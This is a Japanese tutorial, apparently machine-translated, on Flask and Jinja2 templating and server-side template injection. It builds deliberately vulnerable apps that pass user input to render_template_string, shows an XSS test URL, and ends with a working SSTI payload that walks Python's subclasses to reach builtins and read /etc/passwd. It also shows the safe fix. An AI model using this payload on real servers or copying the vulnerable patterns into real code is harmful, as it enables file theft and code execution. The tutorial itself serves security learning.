記事のディレクトリ
Pythonテンプレート
- Pythonテンプレートは、Tornado、Flask、Djangoです。
- テンプレートエンジンは、テンプレートを動的に分析し、テンプレートエンジンに渡された変数を置き換え、最終的に顧客に表示します。
- SSTIサーバー側のテンプレートインジェクションは、コードが安全でない文字列スプライシングを使用してテンプレートファイルを作成し、ユーザーの入力を過度に信頼しているためです。
Flask Jinja 2
- 文法
- {%……%}ステートメント
- { {…}}印刷テンプレートの出力式
- {#…#} ノート
- #…##行ステートメント
フラスコフレームワーク学習
ルーティング
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return "欢迎来到我的世界"
@app.route('/hello')
def hello():
return '我们的生活甜的像糖'
if __name__ == '__main__':
app.run()
@ app.route( '/')は2つのルートを '/' '/ hello'に設定します
@ app.route()はFlaskのインスタンス化されたオブジェクトであり、Flaskはデコレータを使用してユーザーがアクセスする必要のあるURLパスを識別します
- 例:上記の例
変数
<>ルートの可変パラメータを定義します。<>には名前が必要です。
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return "欢迎来到我的世界"
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- 運転結果
ルーティング要求方法の変更
@app.route('/',methods=['GET','POST'])
def index():
return "GET/POST"
フラスコレンダリング
テンプレートは、プレースホルダーを使用してダイナミックのダイナミック部分を表現します。
レンダリングは、プレースホルダーによって表される面のプレースホルダーによって取得された実際の値を置き換え、最後に最終文字列を返します
。render_template()は、指定されたものをレンダリングするために使用されます。ファイル。
render_template_string()は、文字列を描画するために使用されています。
- SSTIの脆弱性は、関数render_template_string()に存在します
render_template()
- 次のファイルを作成します
- テンプレート:フォルダはテンプレートファイルを保存するために使用されます
- test1:フラスコフレームワークの実行中のファイルです
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = 'This is index page'
content = '我可以陪你去看星星'
return render_template('index.html',title = title,content = content)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>{
{title}}</h1>
<p>{
{content}}</p>
</body>
</html>
- 運転結果
Render_template_string()
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = '<h1>我可以陪你去看星星</h1>'
return render_template_string(title)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- 運転結果
コードブロック
- {%……%}制御コードブロックは、ループや条件などのいくつかの論理関数を実現できます。
- { {…}}変数コードブロック
- {#…#} ノート
- #…##行ステートメント
SSTI初体験
- SSTIにより、RCEの脆弱性がrender_template_string()関数に存在します
- 次に、コード例を示します
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = request.args.get('title') # get方式获取id
html="<h1>%s</h1>"%(title)
return render_template_string(html)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- 渡しますか?title = aaa
- XSSを確認する
http://127.0.0.1:5000/index/?title=%3Cscript%3Evar%20current_day%20=%20new%20Date();var%20today%20=%20current_day.getTime();alert(today);%3C/script%3E
- コードを変更する
from flask import Flask,url_for,redirect,render_template,render_template_string,request
from jinja2 import Template
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = request.args.get('title','guest') # get方式获取id
t = Template("Hello" + title)
return t.render()
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- SSTIインジェクションを確認する
- この問題は回避できます。回避する方法は次のとおりです。
title = request.args.get('title', 'guest')
t = Template("Hello {
{n}}")
return t.render(n=title)
SSTI与RCE
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = request.args.get('title') # get方式获取id
html="<p>%s</p>"%(title)
return render_template_string(html)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- この環境で、SSTIとRCEの実行を試してみましょう
jinja2では、Pythonのいくつかのオブジェクトとメソッドに直接アクセスできます
- baseは、クラスによって直接継承されたクラスをタプルとして返します
- mroは、継承関係チェーンをタプルとして返します
- classは、オブジェクトが属するクラスを返します
- グローバルはdictを使用して、関数が配置されているモジュールの名前空間内のすべての変数を返します
- subclasses()は、クラスのサブクラスをリストとして返します
- initクラスの初期化メソッド
- 組み込みの組み込み関数。int()、list()など、Pythonで直接実行できる関数もあります。これらの関数は次のようになります。
- 自分で作った環境に注入する
- 寻找基类
''.__class__.__base__
<class 'object'>
- 寻找可引用类
''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>
- ペイロード:
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{
% endif %}{
% endfor %}